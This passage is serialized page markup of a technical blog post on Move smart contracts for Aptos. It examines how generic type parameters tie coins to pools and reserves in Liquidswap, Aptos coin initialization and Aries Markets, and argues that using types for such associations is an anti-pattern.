key",{"type":23,"tag":481,"props":3410,"children":3411},{"style":525},[3412],{"type":28,"value":588},{"type":23,"tag":481,"props":3414,"children":3415},{"style":508},[3416],{"type":28,"value":3417},"store",{"type":23,"tag":481,"props":3419,"children":3420},{"style":525},[3421],{"type":28,"value":809},{"type":23,"tag":481,"props":3423,"children":3424},{"class":483,"line":531},[3425,3430,3434],{"type":23,"tag":481,"props":3426,"children":3427},{"style":508},[3428],{"type":28,"value":3429}," id",{"type":23,"tag":481,"props":3431,"children":3432},{"style":514},[3433],{"type":28,"value":287},{"type":23,"tag":481,"props":3435,"children":3436},{"style":525},[3437],{"type":28,"value":3438}," UID,\n",{"type":23,"tag":481,"props":3440,"children":3441},{"class":483,"line":567},[3442,3447,3451,3456,3460,3465],{"type":23,"tag":481,"props":3443,"children":3444},{"style":508},[3445],{"type":28,"value":3446}," balance",{"type":23,"tag":481,"props":3448,"children":3449},{"style":514},[3450],{"type":28,"value":287},{"type":23,"tag":481,"props":3452,"children":3453},{"style":943},[3454],{"type":28,"value":3455}," Balance",{"type":23,"tag":481,"props":3457,"children":3458},{"style":525},[3459],{"type":28,"value":3282},{"type":23,"tag":481,"props":3461,"children":3462},{"style":943},[3463],{"type":28,"value":3464},"T",{"type":23,"tag":481,"props":3466,"children":3467},{"style":525},[3468],{"type":28,"value":3469},">\n",{"type":23,"tag":481,"props":3471,"children":3472},{"class":483,"line":678},[3473],{"type":23,"tag":481,"props":3474,"children":3475},{"style":525},[3476],{"type":28,"value":3348},{"type":23,"tag":24,"props":3478,"children":3479},{},[3480],{"type":23,"tag":127,"props":3481,"children":3482},{},[3483],{"type":28,"value":3484},"sui",{"type":23,"tag":24,"props":3486,"children":3487},{},[3488,3490,3497,3499,3505],{"type":28,"value":3489},"Pulling an example from ",{"type":23,"tag":190,"props":3491,"children":3494},{"href":3492,"rel":3493},"https://pontem.network/",[194],[3495],{"type":28,"value":3496},"Pontem Network's",{"type":28,"value":3498}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":23,"tag":64,"props":3500,"children":3502},{"className":3501},[],[3503],{"type":28,"value":3504},"LiquidityPool",{"type":28,"value":3506}," natively embeds this type information into it's fields.",{"type":23,"tag":435,"props":3508,"children":3510},{"className":475,"code":3509,"language":474,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n }\n",[3511],{"type":23,"tag":64,"props":3512,"children":3513},{"__ignoreMap":7},[3514,3522,3586,3616,3645,3653],{"type":23,"tag":481,"props":3515,"children":3516},{"class":483,"line":484},[3517],{"type":23,"tag":481,"props":3518,"children":3519},{"style":488},[3520],{"type":28,"value":3521}," /// Liquidity pool with reserves.\n",{"type":23,"tag":481,"props":3523,"children":3524},{"class":483,"line":351},[3525,3530,3535,3539,3543,3548,3552,3556,3561,3565,3569,3574,3578,3582],{"type":23,"tag":481,"props":3526,"children":3527},{"style":497},[3528],{"type":28,"value":3529}," struct",{"type":23,"tag":481,"props":3531,"children":3532},{"style":943},[3533],{"type":28,"value":3534}," LiquidityPool",{"type":23,"tag":481,"props":3536,"children":3537},{"style":525},[3538],{"type":28,"value":3282},{"type":23,"tag":481,"props":3540,"children":3541},{"style":508},[3542],{"type":28,"value":3287},{"type":23,"tag":481,"props":3544,"children":3545},{"style":943},[3546],{"type":28,"value":3547}," X",{"type":23,"tag":481,"props":3549,"children":3550},{"style":525},[3551],{"type":28,"value":588},{"type":23,"tag":481,"props":3553,"children":3554},{"style":508},[3555],{"type":28,"value":3287},{"type":23,"tag":481,"props":3557,"children":3558},{"style":943},[3559],{"type":28,"value":3560}," Y",{"type":23,"tag":481,"props":3562,"children":3563},{"style":525},[3564],{"type":28,"value":588},{"type":23,"tag":481,"props":3566,"children":3567},{"style":508},[3568],{"type":28,"value":3287},{"type":23,"tag":481,"props":3570,"children":3571},{"style":525},[3572],{"type":28,"value":3573}," LP> ",{"type":23,"tag":481,"props":3575,"children":3576},{"style":508},[3577],{"type":28,"value":3302},{"type":23,"tag":481,"props":3579,"children":3580},{"style":508},[3581],{"type":28,"value":3408},{"type":23,"tag":481,"props":3583,"children":3584},{"style":525},[3585],{"type":28,"value":809},{"type":23,"tag":481,"props":3587,"children":3588},{"class":483,"line":531},[3589,3594,3598,3602,3606,3611],{"type":23,"tag":481,"props":3590,"children":3591},{"style":508},[3592],{"type":28,"value":3593}," coin_x_reserve",{"type":23,"tag":481,"props":3595,"children":3596},{"style":514},[3597],{"type":28,"value":287},{"type":23,"tag":481,"props":3599,"children":3600},{"style":943},[3601],{"type":28,"value":3277},{"type":23,"tag":481,"props":3603,"children":3604},{"style":525},[3605],{"type":28,"value":3282},{"type":23,"tag":481,"props":3607,"children":3608},{"style":943},[3609],{"type":28,"value":3610},"X",{"type":23,"tag":481,"props":3612,"children":3613},{"style":525},[3614],{"type":28,"value":3615},">,\n",{"type":23,"tag":481,"props":3617,"children":3618},{"class":483,"line":567},[3619,3624,3628,3632,3636,3641],{"type":23,"tag":481,"props":3620,"children":3621},{"style":508},[3622],{"type":28,"value":3623}," coin_y_reserve",{"type":23,"tag":481,"props":3625,"children":3626},{"style":514},[3627],{"type":28,"value":287},{"type":23,"tag":481,"props":3629,"children":3630},{"style":943},[3631],{"type":28,"value":3277},{"type":23,"tag":481,"props":3633,"children":3634},{"style":525},[3635],{"type":28,"value":3282},{"type":23,"tag":481,"props":3637,"children":3638},{"style":943},[3639],{"type":28,"value":3640},"Y",{"type":23,"tag":481,"props":3642,"children":3643},{"style":525},[3644],{"type":28,"value":3615},{"type":23,"tag":481,"props":3646,"children":3647},{"class":483,"line":678},[3648],{"type":23,"tag":481,"props":3649,"children":3650},{"style":488},[3651],{"type":28,"value":3652}," // ...\n",{"type":23,"tag":481,"props":3654,"children":3655},{"class":483,"line":784},[3656],{"type":23,"tag":481,"props":3657,"children":3658},{"style":525},[3659],{"type":28,"value":879},{"type":23,"tag":24,"props":3661,"children":3662},{},[3663],{"type":28,"value":3664},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":23,"tag":435,"props":3666,"children":3668},{"className":475,"code":3667,"language":474,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[3669],{"type":23,"tag":64,"props":3670,"children":3671},{"__ignoreMap":7},[3672,3711,3732,3760,3788,3839,3847,3854],{"type":23,"tag":481,"props":3673,"children":3674},{"class":483,"line":484},[3675,3680,3685,3690,3694,3698,3702,3706],{"type":23,"tag":481,"props":3676,"children":3677},{"style":508},[3678],{"type":28,"value":3679}," public",{"type":23,"tag":481,"props":3681,"children":3682},{"style":508},[3683],{"type":28,"value":3684}," fun",{"type":23,"tag":481,"props":3686,"children":3687},{"style":508},[3688],{"type":28,"value":3689}," mint",{"type":23,"tag":481,"props":3691,"children":3692},{"style":525},[3693],{"type":28,"value":3282},{"type":23,"tag":481,"props":3695,"children":3696},{"style":943},[3697],{"type":28,"value":3610},{"type":23,"tag":481,"props":3699,"children":3700},{"style":525},[3701],{"type":28,"value":588},{"type":23,"tag":481,"props":3703,"children":3704},{"style":943},[3705],{"type":28,"value":3640},{"type":23,"tag":481,"props":3707,"children":3708},{"style":525},[3709],{"type":28,"value":3710},", LP>(\n",{"type":23,"tag":481,"props":3712,"children":3713},{"class":483,"line":351},[3714,3719,3723,3728],{"type":23,"tag":481,"props":3715,"children":3716},{"style":508},[3717],{"type":28,"value":3718}," pool_addr",{"type":23,"tag":481,"props":3720,"children":3721},{"style":514},[3722],{"type":28,"value":287},{"type":23,"tag":481,"props":3724,"children":3725},{"style":508},[3726],{"type":28,"value":3727}," address",{"type":23,"tag":481,"props":3729,"children":3730},{"style":525},[3731],{"type":28,"value":1033},{"type":23,"tag":481,"props":3733,"children":3734},{"class":483,"line":531},[3735,3740,3744,3748,3752,3756],{"type":23,"tag":481,"props":3736,"children":3737},{"style":508},[3738],{"type":28,"value":3739}," coin_x",{"type":23,"tag":481,"props":3741,"children":3742},{"style":514},[3743],{"type":28,"value":287},{"type":23,"tag":481,"props":3745,"children":3746},{"style":943},[3747],{"type":28,"value":3277},{"type":23,"tag":481,"props":3749,"children":3750},{"style":525},[3751],{"type":28,"value":3282},{"type":23,"tag":481,"props":3753,"children":3754},{"style":943},[3755],{"type":28,"value":3610},{"type":23,"tag":481,"props":3757,"children":3758},{"style":525},[3759],{"type":28,"value":3615},{"type":23,"tag":481,"props":3761,"children":3762},{"class":483,"line":567},[3763,3768,3772,3776,3780,3784],{"type":23,"tag":481,"props":3764,"children":3765},{"style":508},[3766],{"type":28,"value":3767}," coin_y",{"type":23,"tag":481,"props":3769,"children":3770},{"style":514},[3771],{"type":28,"value":287},{"type":23,"tag":481,"props":3773,"children":3774},{"style":943},[3775],{"type":28,"value":3277},{"type":23,"tag":481,"props":3777,"children":3778},{"style":525},[3779],{"type":28,"value":3282},{"type":23,"tag":481,"props":3781,"children":3782},{"style":943},[3783],{"type":28,"value":3640},{"type":23,"tag":481,"props":3785,"children":3786},{"style":525},[3787],{"type":28,"value":3469},{"type":23,"tag":481,"props":3789,"children":3790},{"class":483,"line":678},[3791,3796,3800,3804,3808,3813,3817,3822,3826,3830,3835],{"type":23,"tag":481,"props":3792,"children":3793},{"style":525},[3794],{"type":28,"value":3795}," )",{"type":23,"tag":481,"props":3797,"children":3798},{"style":514},[3799],{"type":28,"value":287},{"type":23,"tag":481,"props":3801,"children":3802},{"style":943},[3803],{"type":28,"value":3277},{"type":23,"tag":481,"props":3805,"children":3806},{"style":525},[3807],{"type":28,"value":3282},{"type":23,"tag":481,"props":3809,"children":3810},{"style":943},[3811],{"type":28,"value":3812},"LP",{"type":23,"tag":481,"props":3814,"children":3815},{"style":525},[3816],{"type":28,"value":3297},{"type":23,"tag":481,"props":3818,"children":3819},{"style":508},[3820],{"type":28,"value":3821},"acquires",{"type":23,"tag":481,"props":3823,"children":3824},{"style":943},[3825],{"type":28,"value":3534},{"type":23,"tag":481,"props":3827,"children":3828},{"style":525},[3829],{"type":28,"value":588},{"type":23,"tag":481,"props":3831,"children":3832},{"style":943},[3833],{"type":28,"value":3834},"EventsStore",{"type":23,"tag":481,"props":3836,"children":3837},{"style":525},[3838],{"type":28,"value":809},{"type":23,"tag":481,"props":3840,"children":3841},{"class":483,"line":784},[3842],{"type":23,"tag":481,"props":3843,"children":3844},{"style":488},[3845],{"type":28,"value":3846}," // ...\n",{"type":23,"tag":481,"props":3848,"children":3849},{"class":483,"line":812},[3850],{"type":23,"tag":481,"props":3851,"children":3852},{"emptyLinePlaceholder":15},[3853],{"type":28,"value":1210},{"type":23,"tag":481,"props":3855,"children":3856},{"class":483,"line":825},[3857,3862,3866,3871,3875,3880,3884,3888,3893,3897,3901,3905,3909,3914,3919],{"type":23,"tag":481,"props":3858,"children":3859},{"style":497},[3860],{"type":28,"value":3861}," let",{"type":23,"tag":481,"props":3863,"children":3864},{"style":525},[3865],{"type":28,"value":578},{"type":23,"tag":481,"props":3867,"children":3868},{"style":508},[3869],{"type":28,"value":3870},"x_reserve_size",{"type":23,"tag":481,"props":3872,"children":3873},{"style":525},[3874],{"type":28,"value":588},{"type":23,"tag":481,"props":3876,"children":3877},{"style":508},[3878],{"type":28,"value":3879},"y_reserve_size",{"type":23,"tag":481,"props":3881,"children":3882},{"style":525},[3883],{"type":28,"value":598},{"type":23,"tag":481,"props":3885,"children":3886},{"style":514},[3887],{"type":28,"value":603},{"type":23,"tag":481,"props":3889,"children":3890},{"style":508},[3891],{"type":28,"value":3892}," get_reserves_size",{"type":23,"tag":481,"props":3894,"children":3895},{"style":525},[3896],{"type":28,"value":3282},{"type":23,"tag":481,"props":3898,"children":3899},{"style":943},[3900],{"type":28,"value":3610},{"type":23,"tag":481,"props":3902,"children":3903},{"style":525},[3904],{"type":28,"value":588},{"type":23,"tag":481,"props":3906,"children":3907},{"style":943},[3908],{"type":28,"value":3640},{"type":23,"tag":481,"props":3910,"children":3911},{"style":525},[3912],{"type":28,"value":3913},", LP>(",{"type":23,"tag":481,"props":3915,"children":3916},{"style":508},[3917],{"type":28,"value":3918},"pool_addr",{"type":23,"tag":481,"props":3920,"children":3921},{"style":525},[3922],{"type":28,"value":1366},{"type":23,"tag":24,"props":3924,"children":3925},{},[3926,3928,3934,3936,3943],{"type":28,"value":3927},"As an aside, this generic type information is implemented at runtime in the ",{"type":23,"tag":64,"props":3929,"children":3931},{"className":3930},[],[3932],{"type":28,"value":3933},"ty_args",{"type":28,"value":3935}," ",{"type":23,"tag":190,"props":3937,"children":3940},{"href":3938,"rel":3939},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[194],[3941],{"type":28,"value":3942},"at the vm level",{"type":28,"value":3944},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":23,"tag":24,"props":3946,"children":3947},{},[3948,3950,3956,3958,3964,3966,3972,3973,3979],{"type":28,"value":3949},"In pseucode, this checks that ",{"type":23,"tag":64,"props":3951,"children":3953},{"className":3952},[],[3954],{"type":28,"value":3955},"coin_x.type",{"type":28,"value":3957}," is equal to ",{"type":23,"tag":64,"props":3959,"children":3961},{"className":3960},[],[3962],{"type":28,"value":3963},"pool.x_type",{"type":28,"value":3965},", and ",{"type":23,"tag":64,"props":3967,"children":3969},{"className":3968},[],[3970],{"type":28,"value":3971},"coin_y.type",{"type":28,"value":3957},{"type":23,"tag":64,"props":3974,"children":3976},{"className":3975},[],[3977],{"type":28,"value":3978},"pool.y_type",{"type":28,"value":199},{"type":23,"tag":24,"props":3981,"children":3982},{},[3983],{"type":28,"value":3984},"This type system has two advantages",{"type":23,"tag":73,"props":3986,"children":3987},{},[3988,4000],{"type":23,"tag":77,"props":3989,"children":3990},{},[3991,3993,3998],{"type":28,"value":3992},"It's required. The type parameter ",{"type":23,"tag":127,"props":3994,"children":3995},{},[3996],{"type":28,"value":3997},"must",{"type":28,"value":3999}," be specified so it's impossible to forget such a constraint",{"type":23,"tag":77,"props":4001,"children":4002},{},[4003],{"type":28,"value":4004},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":23,"tag":24,"props":4006,"children":4007},{},[4008],{"type":28,"value":4009},"However, this system isn't perfect.",{"type":23,"tag":24,"props":4011,"children":4012},{},[4013,4015,4020],{"type":28,"value":4014},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":23,"tag":2875,"props":4016,"children":4017},{},[4018],{"type":28,"value":4019},"an anti-pattern",{"type":28,"value":199},{"type":23,"tag":24,"props":4022,"children":4023},{},[4024,4026,4032],{"type":28,"value":4025},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":23,"tag":64,"props":4027,"children":4029},{"className":4028},[],[4030],{"type":28,"value":4031},"CoinInfo\u003CCoinType>",{"type":28,"value":199},{"type":23,"tag":435,"props":4034,"children":4036},{"className":475,"code":4035,"language":474,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[4037],{"type":23,"tag":64,"props":4038,"children":4039},{"__ignoreMap":7},[4040,4067,4075,4144,4151,4158,4170,4215,4237],{"type":23,"tag":481,"props":4041,"children":4042},{"class":483,"line":484},[4043,4048,4053,4057,4062],{"type":23,"tag":481,"props":4044,"children":4045},{"style":508},[4046],{"type":28,"value":4047}," fun",{"type":23,"tag":481,"props":4049,"children":4050},{"style":508},[4051],{"type":28,"value":4052}," initialize_internal",{"type":23,"tag":481,"props":4054,"children":4055},{"style":525},[4056],{"type":28,"value":3282},{"type":23,"tag":481,"props":4058,"children":4059},{"style":943},[4060],{"type":28,"value":4061},"CoinType",{"type":23,"tag":481,"props":4063,"children":4064},{"style":525},[4065],{"type":28,"value":4066},">(\n",{"type":23,"tag":481,"props":4068,"children":4069},{"class":483,"line":351},[4070],{"type":23,"tag":481,"props":4071,"children":4072},{"style":488},[4073],{"type":28,"value":4074}," // ...\n",{"type":23,"tag":481,"props":4076,"children":4077},{"class":483,"line":531},[4078,4083,4087,4091,4096,4100,4104,4109,4114,4118,4122,4126,4131,4135,4139],{"type":23,"tag":481,"props":4079,"children":4080},{"style":525},[4081],{"type":28,"value":4082}," )",{"type":23,"tag":481,"props":4084,"children":4085},{"style":514},[4086],{"type":28,"value":287},{"type":23,"tag":481,"props":4088,"children":4089},{"style":525},[4090],{"type":28,"value":578},{"type":23,"tag":481,"props":4092,"children":4093},{"style":943},[4094],{"type":28,"value":4095},"BurnCapability",{"type":23,"tag":481,"props":4097,"children":4098},{"style":525},[4099],{"type":28,"value":3282},{"type":23,"tag":481,"props":4101,"children":4102},{"style":943},[4103],{"type":28,"value":4061},{"type":23,"tag":481,"props":4105,"children":4106},{"style":525},[4107],{"type":28,"value":4108},">, ",{"type":23,"tag":481,"props":4110,"children":4111},{"style":943},[4112],{"type":28,"value":4113},"FreezeCapability",{"type":23,"tag":481,"props":4115,"children":4116},{"style":525},[4117],{"type":28,"value":3282},{"type":23,"tag":481,"props":4119,"children":4120},{"style":943},[4121],{"type":28,"value":4061},{"type":23,"tag":481,"props":4123,"children":4124},{"style":525},[4125],{"type":28,"value":4108},{"type":23,"tag":481,"props":4127,"children":4128},{"style":943},[4129],{"type":28,"value":4130},"MintCapability",{"type":23,"tag":481,"props":4132,"children":4133},{"style":525},[4134],{"type":28,"value":3282},{"type":23,"tag":481,"props":4136,"children":4137},{"style":943},[4138],{"type":28,"value":4061},{"type":23,"tag":481,"props":4140,"children":4141},{"style":525},[4142],{"type":28,"value":4143},">) {\n",{"type":23,"tag":481,"props":4145,"children":4146},{"class":483,"line":567},[4147],{"type":23,"tag":481,"props":4148,"children":4149},{"style":488},[4150],{"type":28,"value":4074},{"type":23,"tag":481,"props":4152,"children":4153},{"class":483,"line":678},[4154],{"type":23,"tag":481,"props":4155,"children":4156},{"emptyLinePlaceholder":15},[4157],{"type":28,"value":1210},{"type":23,"tag":481,"props":4159,"children":4160},{"class":483,"line":784},[4161,4166],{"type":23,"tag":481,"props":4162,"children":4163},{"style":610},[4164],{"type":28,"value":4165}," assert!",{"type":23,"tag":481,"props":4167,"children":4168},{"style":525},[4169],{"type":28,"value":988},{"type":23,"tag":481,"props":4171,"children":4172},{"class":483,"line":812},[4173,4178,4183,4187,4192,4196,4200,4205,4210],{"type":23,"tag":481,"props":4174,"children":4175},{"style":514},[4176],{"type":28,"value":4177}," !",{"type":23,"tag":481,"props":4179,"children":4180},{"style":508},[4181],{"type":28,"value":4182},"exists",{"type":23,"tag":481,"props":4184,"children":4185},{"style":525},[4186],{"type":28,"value":3282},{"type":23,"tag":481,"props":4188,"children":4189},{"style":943},[4190],{"type":28,"value":4191},"CoinInfo",{"type":23,"tag":481,"props":4193,"children":4194},{"style":525},[4195],{"type":28,"value":3282},{"type":23,"tag":481,"props":4197,"children":4198},{"style":943},[4199],{"type":28,"value":4061},{"type":23,"tag":481,"props":4201,"children":4202},{"style":525},[4203],{"type":28,"value":4204},">>(",{"type":23,"tag":481,"props":4206,"children":4207},{"style":508},[4208],{"type":28,"value":4209},"account_addr",{"type":23,"tag":481,"props":4211,"children":4212},{"style":525},[4213],{"type":28,"value":4214},"),\n",{"type":23,"tag":481,"props":4216,"children":4217},{"class":483,"line":825},[4218,4223,4227,4232],{"type":23,"tag":481,"props":4219,"children":4220},{"style":525},[4221],{"type":28,"value":4222}," error",{"type":23,"tag":481,"props":4224,"children":4225},{"style":514},[4226],{"type":28,"value":1006},{"type":23,"tag":481,"props":4228,"children":4229},{"style":610},[4230],{"type":28,"value":4231},"already_exists",{"type":23,"tag":481,"props":4233,"children":4234},{"style":525},[4235],{"type":28,"value":4236},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":23,"tag":481,"props":4238,"children":4239},{"class":483,"line":843},[4240],{"type":23,"tag":481,"props":4241,"children":4242},{"style":525},[4243],{"type":28,"value":4244}," );\n",{"type":23,"tag":24,"props":4246,"children":4247},{},[4248,4250,4255],{"type":28,"value":4249},"While this ",{"type":23,"tag":64,"props":4251,"children":4253},{"className":4252},[],[4254],{"type":28,"value":4191},{"type":28,"value":4256}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":23,"tag":24,"props":4258,"children":4259},{},[4260,4262,4269],{"type":28,"value":4261},"Similarly, consider ",{"type":23,"tag":190,"props":4263,"children":4266},{"href":4264,"rel":4265},"https://ariesmarkets.xyz/",[194],[4267],{"type":28,"value":4268},"Aries Markets",{"type":28,"value":4270},", a lending/borrowing protocol building on Aptos.",{"type":23,"tag":24,"props":4272,"children":4273},{},[4274,4276,4282],{"type":28,"value":4275},"Their ",{"type":23,"tag":64,"props":4277,"children":4279},{"className":4278},[],[4280],{"type":28,"value":4281},"ReserveCoinContainer",{"type":28,"value":4283}," struct stores all the relevant data and resources for managing a lending market.",{"type":23,"tag":435,"props":4285,"children":4287},{"className":475,"code":4286,"language":474,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[4288],{"type":23,"tag":64,"props":4289,"children":4290},{"__ignoreMap":7},[4291,4299,4307,4348,4356,4385,4393,4430,4438,4475,4483,4520,4527,4534],{"type":23,"tag":481,"props":4292,"children":4293},{"class":483,"line":484},[4294],{"type":23,"tag":481,"props":4295,"children":4296},{"style":488},[4297],{"type":28,"value":4298}," /// The struct to hold all the underlying `Coin`s.\n",{"type":23,"tag":481,"props":4300,"children":4301},{"class":483,"line":351},[4302],{"type":23,"tag":481,"props":4303,"children":4304},{"style":488},[4305],{"type":28,"value":4306}," /// Stored as a resources.\n",{"type":23,"tag":481,"props":4308,"children":4309},{"class":483,"line":531},[4310,4314,4319,4323,4327,4332,4336,4340,4344],{"type":23,"tag":481,"props":4311,"children":4312},{"style":497},[4313],{"type":28,"value":3272},{"type":23,"tag":481,"props":4315,"children":4316},{"style":943},[4317],{"type":28,"value":4318}," ReserveCoinContainer",{"type":23,"tag":481,"props":4320,"children":4321},{"style":525},[4322],{"type":28,"value":3282},{"type":23,"tag":481,"props":4324,"children":4325},{"style":508},[4326],{"type":28,"value":3287},{"type":23,"tag":481,"props":4328,"children":4329},{"style":943},[4330],{"type":28,"value":4331}," Coin0",{"type":23,"tag":481,"props":4333,"children":4334},{"style":525},[4335],{"type":28,"value":3297},{"type":23,"tag":481,"props":4337,"children":4338},{"style":508},[4339],{"type":28,"value":3302},{"type":23,"tag":481,"props":4341,"children":4342},{"style":508},[4343],{"type":28,"value":3408},{"type":23,"tag":481,"props":4345,"children":4346},{"style":525},[4347],{"type":28,"value":809},{"type":23,"tag":481,"props":4349,"children":4350},{"class":483,"line":567},[4351],{"type":23,"tag":481,"props":4352,"children":4353},{"style":488},[4354],{"type":28,"value":4355}," /// Stores the available `Coin`.\n",{"type":23,"tag":481,"props":4357,"children":4358},{"class":483,"line":678},[4359,4364,4368,4372,4376,4381],{"type":23,"tag":481,"props":4360,"children":4361},{"style":508},[4362],{"type":28,"value":4363}," underlying_coin",{"type":23,"tag":481,"props":4365,"children":4366},{"style":514},[4367],{"type":28,"value":287},{"type":23,"tag":481,"props":4369,"children":4370},{"style":943},[4371],{"type":28,"value":3277},{"type":23,"tag":481,"props":4373,"children":4374},{"style":525},[4375],{"type":28,"value":3282},{"type":23,"tag":481,"props":4377,"children":4378},{"style":943},[4379],{"type":28,"value":4380},"Coin0",{"type":23,"tag":481,"props":4382,"children":4383},{"style":525},[4384],{"type":28,"value":3615},{"type":23,"tag":481,"props":4386,"children":4387},{"class":483,"line":784},[4388],{"type":23,"tag":481,"props":4389,"children":4390},{"style":488},[4391],{"type":28,"value":4392}," /// Stores the LP `Coin` that act as collateral.\n",{"type":23,"tag":481,"props":4394,"children":4395},{"class":483,"line":812},[4396,4401,4405,4409,4413,4417,4421,4425],{"type":23,"tag":481,"props":4397,"children":4398},{"style":508},[4399],{"type":28,"value":4400}," collateralised_lp_coin",{"type":23,"tag":481,"props":4402,"children":4403},{"style":514},[4404],{"type":28,"value":287},{"type":23,"tag":481,"props":4406,"children":4407},{"style":943},[4408],{"type":28,"value":3277},{"type":23,"tag":481,"props":4410,"children":4411},{"style":525},[4412],{"type":28,"value":3282},{"type":23,"tag":481,"props":4414,"children":4415},{"style":943},[4416],{"type":28,"value":3812},{"type":23,"tag":481,"props":4418,"children":4419},{"style":525},[4420],{"type":28,"value":3282},{"type":23,"tag":481,"props":4422,"children":4423},{"style":943},[4424],{"type":28,"value":4380},{"type":23,"tag":481,"props":4426,"children":4427},{"style":525},[4428],{"type":28,"value":4429},">>,\n",{"type":23,"tag":481,"props":4431,"children":4432},{"class":483,"line":825},[4433],{"type":23,"tag":481,"props":4434,"children":4435},{"style":488},[4436],{"type":28,"value":4437}," /// Mint capability for LP Coin.\n",{"type":23,"tag":481,"props":4439,"children":4440},{"class":483,"line":843},[4441,4446,4450,4455,4459,4463,4467,4471],{"type":23,"tag":481,"props":4442,"children":4443},{"style":508},[4444],{"type":28,"value":4445}," mint_capability",{"type":23,"tag":481,"props":4447,"children":4448},{"style":514},[4449],{"type":28,"value":287},{"type":23,"tag":481,"props":4451,"children":4452},{"style":943},[4453],{"type":28,"value":4454}," MintCapability",{"type":23,"tag":481,"props":4456,"children":4457},{"style":525},[4458],{"type":28,"value":3282},{"type":23,"tag":481,"props":4460,"children":4461},{"style":943},[4462],{"type":28,"value":3812},{"type":23,"tag":481,"props":4464,"children":4465},{"style":525},[4466],{"type":28,"value":3282},{"type":23,"tag":481,"props":4468,"children":4469},{"style":943},[4470],{"type":28,"value":4380},{"type":23,"tag":481,"props":4472,"children":4473},{"style":525},[4474],{"type":28,"value":4429},{"type":23,"tag":481,"props":4476,"children":4477},{"class":483,"line":864},[4478],{"type":23,"tag":481,"props":4479,"children":4480},{"style":488},[4481],{"type":28,"value":4482}," /// Burn capability for LP Coin.\n",{"type":23,"tag":481,"props":4484,"children":4485},{"class":483,"line":873},[4486,4491,4495,4500,4504,4508,4512,4516],{"type":23,"tag":481,"props":4487,"children":4488},{"style":508},[4489],{"type":28,"value":4490}," burn_capability",{"type":23,"tag":481,"props":4492,"children":4493},{"style":514},[4494],{"type":28,"value":287},{"type":23,"tag":481,"props":4496,"children":4497},{"style":943},[4498],{"type":28,"value":4499}," BurnCapability",{"type":23,"tag":481,"props":4501,"children":4502},{"style":525},[4503],{"type":28,"value":3282},{"type":23,"tag":481,"props":4505,"children":4506},{"style":943},[4507],{"type":28,"value":3812},{"type":23,"tag":481,"props":4509,"children":4510},{"style":525},[4511],{"type":28,"value":3282},{"type":23,"tag":481,"props":4513,"children":4514},{"style":943},[4515],{"type":28,"value":4380},{"type":23,"tag":481,"props":4517,"children":4518},{"style":525},[4519],{"type":28,"value":4429},{"type":23,"tag":481,"props":4521,"children":4522},{"class":483,"line":1125},[4523],{"type":23,"tag":481,"props":4524,"children":4525},{"emptyLinePlaceholder":15},[4526],{"type":28,"value":1210},{"type":23,"tag":481,"props":4528,"children":4529},{"class":483,"line":1142},[4530],{"type":23,"tag":481,"props":4531,"children":4532},{"style":488},[4533],{"type":28,"value":4074},{"type":23,"tag":481,"props":4535,"children":4536},{"class":483,"line":1159},[4537],{"type":23,"tag":481,"props":4538,"children":4539},{"style":525},[4540],{"type":28,"value":3348},{"type":23,"tag":24,"props":4542,"children":4543},{},[4544,4546,4551],{"type":28,"value":4545},"When creating a ",{"type":23,"tag":64,"props":4547,"children":4549},{"className":4548},[],[4550],{"type":28,"value":4281},{"type":28,"value":4552},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":23,"tag":435,"props":4554,"children":4556},{"className":475,"code":4555,"language":474,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[4557],{"type":23,"tag":64,"props":4558,"children":4559},{"__ignoreMap":7},[4560,4603,4629,4636,4657,4702,4709,4716,4723,4760,4767],{"type":23,"tag":481,"props":4561,"children":4562},{"class":483,"line":484},[4563,4568,4572,4577,4581,4586,4591,4595,4599],{"type":23,"tag":481,"props":4564,"children":4565},{"style":610},[4566],{"type":28,"value":4567}," 